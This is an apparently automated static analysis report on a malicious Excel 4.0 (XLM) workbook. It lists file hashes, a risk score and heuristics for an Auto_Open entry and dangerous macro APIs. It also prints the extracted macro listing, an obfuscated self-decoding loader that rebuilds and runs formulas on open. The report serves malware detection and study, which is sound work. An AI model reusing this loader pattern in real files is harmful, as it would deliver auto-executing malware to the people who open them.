Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3c61b312b838fed…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:15 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: c552cd0637a8eea8bc18138753598e9d SHA-1: d92069e5bb92cb99bc6a419c592b4242067737f6 SHA-256: d3c61b312b838feddf69135f16e474bd01a2ab85ff645989dcdb65cfd317f23f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6516 bytes
SHA-256: 05913140a45865135aa1f5e3b1e49b6fc5f23769dc85c70b4ae04457f2d1ad67
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zuFVUP
' 0018     26 LABEL : Cell Value, String Constant - ALXZjwNvXgk len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B145 
' 0018     22 LABEL : Cell Value, String Constant - DapUSqc len=0 
' 0018     21 LABEL : Cell Value, String Constant - dGPyAG len=0 
' 0018     21 LABEL : Cell Value, String Constant - dKhPUo len=0 
' 0018     21 LABEL : Cell Value, String Constant - EPEqnl len=0 
' 0018     21 LABEL : Cell Value, String Constant - gXvJFS len=0 
' 0018     20 LABEL : Cell Value, String Constant - HAsok len=0 
' 0018     20 LABEL : Cell Value, String Constant - JqWAO len=0 
' 0018     26 LABEL : Cell Value, String Constant - lRnEAEBSRFl len=0 
' 0018     22 LABEL : Cell Value, String Constant - nFNaNem len=0 
' 0018     22 LABEL : Cell Value, String Constant - QneajzD len=0 
' 0018     20 LABEL : Cell Value, String Constant - qSoMT len=0 
' 0018     23 LABEL : Cell Value, String Constant - sfHXhYIq len=0 
' 0018     21 LABEL : Cell Value, String Constant - sUczJX len=0 
' 0018     21 LABEL : Cell Value, String Constant - uqtTgn len=0 
' 0018     26 LABEL : Cell Value, String Constant - uTVmtjXhQtk len=0 
' 0018     22 LABEL : Cell Value, String Constant - yEoVbcs len=0 
' 0018     21 LABEL : Cell Value, String Constant - yxiTov len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZfQbBRwUxk len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZyCdd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zuFVUP,B49,"SET.NAME("lRnEAEBSRFl",VALUE("0"))",""
'  zuFVUP,B51,"SET.NAME("sUczJX",lRnEAEBSRFl)",""
'  zuFVUP,B55,"SET.NAME("HAsok",lRnEAEBSRFl)",""
'  zuFVUP,B60,"SET.NAME("dKhPUo",COUNTA(yEoVbcs))",""
'  zuFVUP,B64,"SET.NAME("JqWAO",COUNTA(QneajzD))",""
'  zuFVUP,B66,[],""
'  zuFVUP,B70,"SET.NAME("uTVmtjXhQtk","")",""
'  zuFVUP,B75,"sUczJX",""
'  zuFVUP,B78,"SET.NAME("DapUSqc",HLOOKUP("*",yEoVbcs,sUczJX,FALSE))",""
'  zuFVUP,B83,"ZfQbBRwUxk",""
'  zuFVUP,B87,"SET.NAME("dGPyAG",lRnEAEBSRFl)",""
'  zuFVUP,B91,[],""
'  zuFVUP,B93,"dGPyAG",""
'  zuFVUP,B95,"ZyCdd",""
'  zuFVUP,B99,"yxiTov",""
'  zuFVUP,B103,"ALXZjwNvXgk",""
'  zuFVUP,B105,"SET.NAME("sfHXhYIq",VALUE(HLOOKUP("*",QneajzD,ALXZjwNvXgk,FALSE)))",""
'  zuFVUP,B109,"nFNaNem",""
'  zuFVUP,B112,"uTVmtjXhQtk",""
'  zuFVUP,B117,"HAsok",""
'  zuFVUP,B122,NEXT(),""
'  zuFVUP,B127,"uqtTgn",""
'  zuFVUP,B131,"SET.NAME("f",INT(T(FORMULA(T(uTVmtjXhQtk)&"",""&T(uqtTgn)))))",""
'  zuFVUP,B135,"gXvJFS",""
'  zuFVUP,B138,NEXT(),""
'  zuFVUP,B143,RETURN(),""
'  zuFVUP,B171,"SET.NAME("qSoMT",B49)",""
'  zuFVUP,B175,"yEoVbcs",""
'  zuFVUP,B178,"SET.NAME("QneajzD",R90C11)",""
'  zuFVUP,B181,"SET.NAME("gXvJFS",189)",""
'  zuFVUP,B183,"SET.NAME("EPEqnl",2)",""
'  zuFVUP,B188,qSoMT(),""
'  zuFVUP,B189,HALT(),""